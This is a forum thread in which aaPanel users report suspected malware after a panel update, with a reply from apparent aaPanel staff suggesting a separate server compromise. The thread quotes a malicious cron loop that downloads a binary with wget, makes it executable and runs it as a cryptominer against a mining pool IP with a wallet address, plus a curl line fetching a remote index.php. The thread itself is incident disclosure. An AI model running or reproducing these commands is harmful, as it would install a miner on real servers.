The new AApanel update (version 7.0.8) contains malware code.

aaP_zeeshanhaider6236

Hello AApanel Community

I hope you are all are okay, i'm big fans of This AApanel but its new update ruin my business and got attack after 5-6 days research i found is happend due to update to new version.Today i have install AApanel on new Server its auto add cron job and add script that run infinite loop. i have already mentioned that script link and github repo.
Hello AApanel Community,

I hope everyone is doing well. I'm a big fan of AApanel, but unfortunately, the latest update has caused significant issues for my business. After 5-6 days of research, I discovered that these problems started after updating to the new version. Today, I installed AApanel on a new server, and it automatically added a cron job and a script that runs in an infinite loop. I've already shared the script link and the GitHub repository.

I’m concerned about why the AApanel version on GitHub is outdated compared to the version available on the official website. Please clarify this situation, as our business is suffering, and our servers are infected with this malware.

Please read my post below for more details.

https://www.aapanel.com/forum/d/21544-high-default-load-on-aapanel-monitor-96

aaP_hareeshnarayan1982

Is this the cron job ? ian seeing an additional cron

aaP_zeeshanhaider6236

aaP_hareeshnarayan1982

Yes

aaP_zeeshanhaider6236

aaP_hareeshnarayan1982

later it will run this process on your server

https://github.com/dandi889/dandi889
585 curl -o index.php https://raw.githubusercontent.com/dandi889/dandi889/main/indexiaas

719 * * * * * while :; do check=$(ps -ef | grep str | grep tcp |awk '{print $2}'); if [[ -n $check ]]; then echo ""; else mkdir /tmp/help; wget kashyapgreenhomes.com/video/ooo -O /tmp/help/default; chmod +x /tmp/help/default; /tmp/help/./default -o stratum+tcp://212.8.251.222:443 -u 45rATgNz92sAuiuHaNNspvBaJPh1C7bKTZ3vy9LdLTsfFae7eVnwA2U2v2z9qjZBtRKF9fuxMJVzQKiZ5MkG8iU96BjRBDc -p x -B; fi; sleep 0.1; done

aaP_hareeshnarayan1982

As per other comments, its for checking bruteforce attack. RIght now iam monitoring my server, usage is normal.

aaP_zeeshanhaider6236

aaP_hareeshnarayan1982

Are you using AApanel Terminal ( as ssh login )

aaP_zeeshanhaider6236

@aaPanel_Kern can you explain what exactly is this ?

aaP_hareeshnarayan1982

aaP_zeeshanhaider6236 No I use Putty terminal for all manual works.

aaP_hareeshnarayan1982

aaP_zeeshanhaider6236

aaP_hareeshnarayan1982
After updating to the new version of AAPanel, my server started running an infinite do-while loop every minute to check for updates. When I stopped the loop using the terminal, my CPU usage returned to normal.

aaPanel_Kern

Hello, sorry for your bad experience Cron tasks [Do not delete] breaking through check task security -- Brute force protection needs to be used
This issue will be optimized in the next version, This task does not run the ps command.

719 * * * * *
It should be injected in other ways, suggesting that you check if the server has a security problem and whether the running program has a loophole